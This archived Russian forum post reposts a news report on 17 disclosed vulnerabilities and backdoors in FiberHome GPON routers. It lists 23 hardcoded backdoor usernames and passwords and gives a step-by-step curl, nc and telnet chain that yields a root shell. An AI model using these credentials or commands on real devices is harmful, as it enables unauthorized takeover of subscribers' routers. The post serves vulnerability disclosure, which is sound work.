PDA

Просмотр полной версии : Бэкдор в маршрутизаторах FiberHome


Suicide
18.01.2021, 22:36
В маршрутизаторах FiberHome, применяемых провайдерами для подключения абонентов к оптическим линиям связи GPON, выявлено (https://pierrekim.github.io/blog/2021-01-12-fiberhome-ont-0day-vulnerabilities.html) 17 проблем с безопасностью, среди которых наличие бэкдоров с предопределёнными учётными данными, позволяющими удалённо управлять оборудованием. Проблемы дают возможность удалённому атакующему получить root-доступ к устройству без прохождения аутентификации. Наличие уязвимостей подтверждено в устройствах FiberHome HG6245D и RP2602, а также частично в устройствах AN5506-04-*, но не исключено, что проблемы затрагивают и другие модели маршрутизаторов данной компании, которые не проверялись.

Отмечается, что по умолчанию доступ по IPv4 к интерфейсу администратора на изученных устройствах ограничен внутренним сетевым интерфейсом, допускающим обращение только из локальной сети, но при этом доступ по IPv6 никак не ограничен, что позволяет использовать присутствующие бэкдоры при обращении по IPv6 из внешней сети.

Кроме web-интерфейса, работающего через HTTP/HTTPS, на устройствах предусмотрена функция для удалённой активации интерфейса командной строки, к которому можно обращаться по протоколу telnet. CLI активируется отправкой специального запроса по протоколу HTTPS с предопределёнными учётными данными. Кроме того, в http-сервере, обслуживающем web-интерфейс, выявлена уязвимость (переполнение стека), эксплуатируемая через отправку запроса со специально оформленным значением HTTP Cookie.

Всего исследователем выявлено 17 проблем с безопасностью, из которых 7 затрагивают HTTP-сервер, 6 - сервер telnet, а остальные связаны с общесистемными брешами. Производитель был уведомлен о выявленных проблемах год назад, но информации об исправлении не поступило. Среди выявленных проблем:


Утечка информации о подсетях, прошивке, идентификаторе соединения FTTH , IP- и MAC-адресах на стадии до прохождения аутентификации.

Сохранение в логе паролей пользователей в открытом виде.

Хранение открытым текстом учётных данных для подключения к беспроводным сетям и паролей.

Переполнение стека в HTTP-сервере.

Присутствие в прошивке закрытого ключа для SSL-сертификатов, который можно загрузить по HTTPS ("curl https://host/privkeySrv.pem").

Бэкдор для активации telnet - в коде http-сервера присутствует специальный обработчик запросов "/telnet", а также обработчик "/fh" для привилегированного доступа.

Жёстко заданные в прошивке инженерные пароли и параметры аутентификации. Всего в коде http-сервера было выявлено 23 прошитых учётных записей, привязанных к разным провайдерам. Пароли использовались в обработчике https://ip/fh для активации telnet:
user / user1234

f~i!b@e#r$h%o^m*esuperadmin / s(f)u_h+g|u

admin / lnadmin

admin / CUadmin

admin / admin

telecomadmin / nE7jA%5m

adminpldt / z6dUABtl270qRxt7a2uGTiw

gestiontelebucaramanga / t3l3buc4r4m4ng42013

rootmet / m3tr0r00t

awnfibre / fibre@dm!n

trueadmin / admintrue

admin / G0R2U1P2ag

admin / 3UJUh2VemEfUtesEchEC2d2e

admin / c 6 по 32 символы MAC-адреса на интерфейсе br0

admin / 888888

L1vt1m4eng / 888888

useradmin / 888888

user / 888888

admin / 1234

user / tattoo@home

admin / tele1234

admin / aisadmin


Дополнительно в CLI-интерфейсе можно запустить на 26 сетевом порту отдельный процесс telnetd с правами root, передав последовательность команд "�,help,list,who,ddd,tshell" ('GgpoZWxwCmxpc3QKd2hvCg==' в base64). Для подключения к telnet определён общий пароль "GEPON".
В простейшем случае для получения root-доступа к маршрутизатору достаточно отправить несколько запросов при помощи утилиты curl:


Code:
# Получаем информацию о MAC-адресе, через API, доступный без аутентификации:

curl -k https://target/info.asp

# Используем хвост MAC-адреса в качестве ключа для снятия в пакетном фильтре блокировки доступа к CLI-интерфейсу по протоколу telnet:

сurl -k 'https://target/telnet?enable=1&key=ENDING_PART_MAC_ADDR'

# Отправляем в CLI-интерфейс на 23 порт последовательность команд для запуска процесса telnetd.

echo GgpoZWxwCmxpc3QKd2hvCmRkZAp0c2hlbGwK | base64 -d | nc target 23 >/dev/null &

# Подключаемся к сетевому порту 26 по протоколу telnet с логином root и паролем GEPON.

telnet target 26

(none) login: root
Password: [GEPON]
BusyBox v1.27.2 (2019-04-01 19:16:06 CST) built-in shell (ash)
#id
uid=0(root) gid=0 groups=0 # game over

18.01.2021

https://www.opennet.ru/opennews/art.shtml?num=54428​